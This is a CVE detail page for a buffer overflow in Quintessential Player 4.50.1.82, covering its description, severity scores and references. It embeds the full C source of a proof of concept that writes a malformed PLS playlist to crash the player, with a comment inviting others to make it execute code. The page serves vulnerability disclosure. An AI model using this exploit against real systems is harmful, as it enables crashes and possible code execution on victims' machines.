CVE-2006-6261 : Detail

CVE-2006-6261

2.76%V3
Network
2006-12-04
10h00 +00:00
2017-10-18
14h57 +00:00
CVE.org
NVD
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CVE Descriptions

Buffer overflow in Quintessential Player 4.50.1.82 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted (1) M3u or (2) M3u-8 file; or a (3) crafted PLS file with a long value in the (a) NumberofEntries, (b) Length (aka Length1), (c) Filename (aka File1), (d) Title (aka Title1) field, or other unspecified fields.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 2860

Publication date : 2006-11-27 23h00 +00:00
Author : Greg Linares
EDB Verified : Yes

/* 0-day Quintessential Player <= 4.50.1.82 Playlist Denial Of Service PoC ======================================================================== ======================================================================== Quintessential Player 4.50.1.82 and lower experiance a memory corruption when attempting to parse out malformed Playlist files. This possibly could lead to execution of code. Here is the proof of concept in PLS format. Note: M3u and M3u-8 are also affected by this problem. EIP gets replaced by semi random values in the memory corruption here are my experiances: [Buffer = 1028 A's] Buffer + X EIP = 0x009efe5a Buffer + X EIP = 0x00f6eb81 2nd run Buffer + AAAA EIP = 0x009efde2 Buffer + AAAA EIP = 0x009efdb3 2nd run Buffer + AAAA EIP = 0x009efdb6 3rd run Buffer + AAAABBBB EIP = 0x009efdea (Using the NumberOfEntries made it more consistant) Buffer + AAAA EIP = 0x00e13fd6 for 3 times until Buffer + AAAA EIP = 0x00e13fda If someone can figure out how to control EIP and cause this to become a buffer overflow exploit, this can be exploited just like the XMPlayer Buffer Overflow issue or the old Winamp UNC overflow. if you figure it out, just credit me with my email somewhere in the code, ill be more than happy :) Happy Hunting and Happy Holidays to everyone November 2006 Month Of Greg's Media Player Exploits :) Discovered and Reported By: Greg Linares GLinares.code@gmail.com Reported Exploit Date: 11/28/2006 */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { FILE *Exploit; char buffer[1032]; /* Corruption Occurs after 1028 bytes */ int x; printf("\n======================================================================\n"); printf("0-day Quintessential Player 4.50.1.82 and prior Playlist Denial Of Service PoC \n"); printf("Crashes Quintessential Player with a malformed playlist on load.\n"); printf("Discovered and Coded By: Greg Linares <GLinares.code[at]gmail[dot]com>\n"); printf("Usage: %s <output PLS file>\n", argv[0]); printf("====================================================================\n\n\n"); if (argc < 2) { printf("Invalid Number Of Arguments\n"); return 1; } Exploit = fopen(argv[1],"w"); if ( !Exploit ) { printf("\nCouldn't Open File!"); return 1; } memset(buffer, 0, 1030); for (x=0;x<1030;x++) { strcat(buffer, "A"); } /* Any field can be modified to cause the memory corruption NumberofEntries, Length, Filename, Title etc. */ fputs("[playlist]\r\nVersion=2\r\nNumberOfEntries=1", Exploit); fputs("\r\nFile1=", Exploit); fputs(buffer, Exploit); fputs("\r\nTitle1=0-day_Quintessential_Player_4.50.1.82_and_prior_Playlist_Denial_Of_Service_PoC_By_Greg_Linares\r\n", Exploit); fputs("Length1=512", Exploit); printf("Exploit Succeeded...\n Output File: %s\n\n", argv[1]); printf("Questions, Comments, Feedback --> Greg Linares (GLinares.code[at]gmail[dot]com)\n"); fclose(Exploit); return 0; } // milw0rm.com [2006-11-28]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_95 >> Version *

Microsoft>>Windows_98 >> Version *

Microsoft>>Windows_me >> Version *

Microsoft>>Windows_nt >> Version 4.0

Microsoft>>Windows_xp >> Version *

Quinnware>>Quintessential_player >> Version To (including) 4.50.1.82

    References

    https://www.exploit-db.com/exploits/2860
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/21331
    Tags : vdb-entry, x_refsource_BID